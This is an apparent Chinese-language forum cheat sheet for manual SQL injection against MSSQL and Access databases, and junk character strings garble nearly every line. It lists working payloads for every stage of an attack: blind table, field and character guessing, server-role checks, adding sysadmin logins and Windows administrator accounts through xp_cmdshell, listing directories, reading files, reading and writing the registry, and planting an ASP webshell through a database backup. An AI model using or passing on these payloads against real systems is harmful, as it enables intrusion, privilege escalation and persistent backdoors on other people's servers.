手工脚本注入 " ^! N8 C# |; ?+ f. H* ?
1.判断是否有注入;and 1=1 ;and 1=2 ) P/ z* f- o. ?! ? }' o8 w
, A- T4 U/ V5 t; P4 D8 S
2.初步判断是否是mssql ;and user>0
1 h% |7 F! ~8 b0 N2 Y& W1 p
! M1 R+ @% _, d9 a- t- K9 b2 U3.注入参数是字符'and [查询条件] and ''=' # b4 x' G1 p) |) P5 O
& l7 G- W0 O$ C4.搜索时没过滤参数的'and [查询条件] and '%25'=' & I' E N+ ~4 R+ u
' F& Q$ j- H: P8 d5.判断数据库系统 6 U! {& ^, e. Q1 |8 i3 w8 J9 b
;and (select count(*) from sysobjects)>0 mssql 2 {, J) e8 S8 \4 Z* J
;and (select count(*) from msysobjects)>0 access
# m: d, V! _: m* c" ~! U& A. p0 D; r! i7 Z3 l( p7 o) D8 f/ ]8 I
6.猜数据库 ;and (select Count(*) from [数据库名])>0
w5 J" B5 v" B2 G/ f# J) ?# [. X/ Q, a5 p6 p: G
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 - W4 L' h. L( l0 n8 u( H8 n6 g
C& w' J: x; {9 `. ?9 o3 X
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
! D0 a) j2 l7 X, Y- e" w9 d5 I2 [5 }3 O% z4 ^" ]
9.(1)猜字段的ascii值(access)
6 @; j/ b1 e$ i4 }1 Q; q# \;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 % c" T5 h7 I0 \* s$ K' l
: _! c' Z9 ?4 l( a+ L" m: T
(2)猜字段的ascii值(mssql)
: J. G3 C6 S+ M6 X$ H; p;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 " n; T- Y: E" T$ E
% R, V- u7 ]7 H8 D
10.测试权限结构(mssql) 6 ]5 ? W+ m& z x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 A9 j/ V9 b, X0 o
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 H! `1 Z9 O+ H2 c& Q! x
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' \; Y p$ F6 C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ m( w {; t' v- ~& H;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- q4 U9 g- Z8 M( Z m
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 A- f, q; O# x2 A: B) D3 h3 a* ?' F, m0 C;and 1=(select IS_MEMBER('db_owner'));-- & c0 M3 ~ b" `6 t/ c
7 e' _0 _# U. z* P" P3 _11.添加mssql和系统的帐户 % g$ \3 \7 S I
;exec master.dbo.sp_addlogin username;-- ) }. c- j9 E9 b# |
) @$ o! q% C- u& K;exec master.dbo.sp_password null,username,password;-- / x! q6 r, s2 L% v6 R
% i; _1 X f) X& t' i1 X% e;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) u5 l! _ {# b* |+ R% O4 I- R6 p. \
;exec master.dbo.xp_cmdshell 'net user username password 9 c: E% g2 g+ A% j
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; @# O% {, N! ^+ M
5 M) d+ \) N3 Q% o;exec master.dbo.xp_cmdshell 'net user username password /add';-- # X U- `3 W/ k; R
& {; s7 d' k1 s# l6 y& r;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & r& W+ C- _) k& g" x
w8 m! i, @ W4 e, ]& j12.(1)遍历目录 ! k4 c6 U$ {* U$ v% D
# x9 o: I0 Z) Z' D
;create table dirs(paths varchar(100), id int) & J2 x! h' c8 h
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 E2 ^- m3 u& m4 ^/ d# Z$ H
;and (select top 1 paths from dirs)>0 ) Z' i. ~+ h- P! Q. i
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 M- ? ?9 q4 T3 D3 A! D& w( ~! h' s$ P) o$ }* Z& `
(2)遍历目录 ! e: _# V& X% ?' B# g* F: D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
; W; u& s6 K) C) N/ b0 ^" ]1 ?;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& R+ Y4 \# C0 B2 J+ {;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 \$ O5 d2 E& E6 E+ x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ) j" w! q9 O, z2 f, @
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 : c- E. R E. J- T7 q: U4 b( g
1 ^( v* H$ |/ s; T3 Z
13.mssql中的存储过程
7 D. y( I" t, a$ F9 q+ W' R# C" R* M# @$ @ V4 f+ ^7 V
xp_regenumvalues 注册表根键, 子键 2 O% d5 ~3 `. ^& R, Q6 \6 g& ]
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 B9 m% _1 h$ P7 X9 w" {$ s/ T9 S
" {, `: V! ?, V- {xp_regread 根键,子键,键值名 9 U3 {. f# j, V% p# g- R" |
;exec xp_regread 4 z& _+ y8 V! T3 h! m, _
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
! z1 z; E: p" n5 O
+ I! Y' p! T- n/ @7 b1 gxp_regwrite 根键,子键, 值名, 值类型, 值 9 X4 b& [' f4 d" r* m, U
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
# g% K' {+ `" h: Z' D;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 9 f; `! t' k1 X, c; Y; s
% w# i# j8 I8 s) Y7 D) O9 `xp_regdeletevalue 根键,子键,值名 % a! [2 z& K# L* F5 n, Z# i6 p x
6 `5 r4 r4 o" O ~7 B
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $ m) U) H$ M* |. X" u8 g
* c0 F3 o% L7 [ ^+ r
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
2 x9 F2 B" n$ y" i7 o7 Z0 i: M7 W' a/ l7 r2 A) w
14.mssql的backup创建webshell
- x9 I& X* l! \use model ' o+ |; H) U7 t M! {, ^
create table cmd(str image);
. T' F- \& c+ O0 rinsert into cmd(str) values (''); * `9 \" E$ U* }6 r; r
backup database model to disk='c:\l.asp';
+ G6 k6 t5 W% d# [ Q* |; x, Z8 e% x
8 J# e6 A2 }4 X6 ]15.mssql内置函数
* Y) q) E7 e% `% H: @;and (select @@version)>0 获得Windows的版本号
/ a9 Y) o. U& ?4 `;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; F4 R" I3 W5 l" E;and (select user_name())>0 爆当前系统的连接用户 ' ~7 j. [' O/ h! h4 }1 ?
;and (select db_name())>0 得到当前连接的数据库 * V4 d1 g6 s- ?/ w
4 z2 ?' q# Q |$ O; Q; \8 ?16.简洁的webshell 6 a4 @, B' O) X6 ?* {, r5 O: s
8 G# K. V) l+ ]( N+ V7 O+ `' juse model
7 T- s4 L3 `) s! x9 b. C* m: A) z# T% p, l
create table cmd(str image); 5 H( K; H) Z; @. G e! k8 Z3 g
. P* e) U' C H/ e: a0 N7 A- [
insert into cmd(str) values ('');
8 U: a$ }7 A0 k4 r/ A% M0 t- p; x& p; ~& v e. T
backup database model to disk='g:\wwwtest\l.asp'; 4 d( P5 w4 ^ f' s2 V5 B5 t' }
) O( X" S0 x- U
|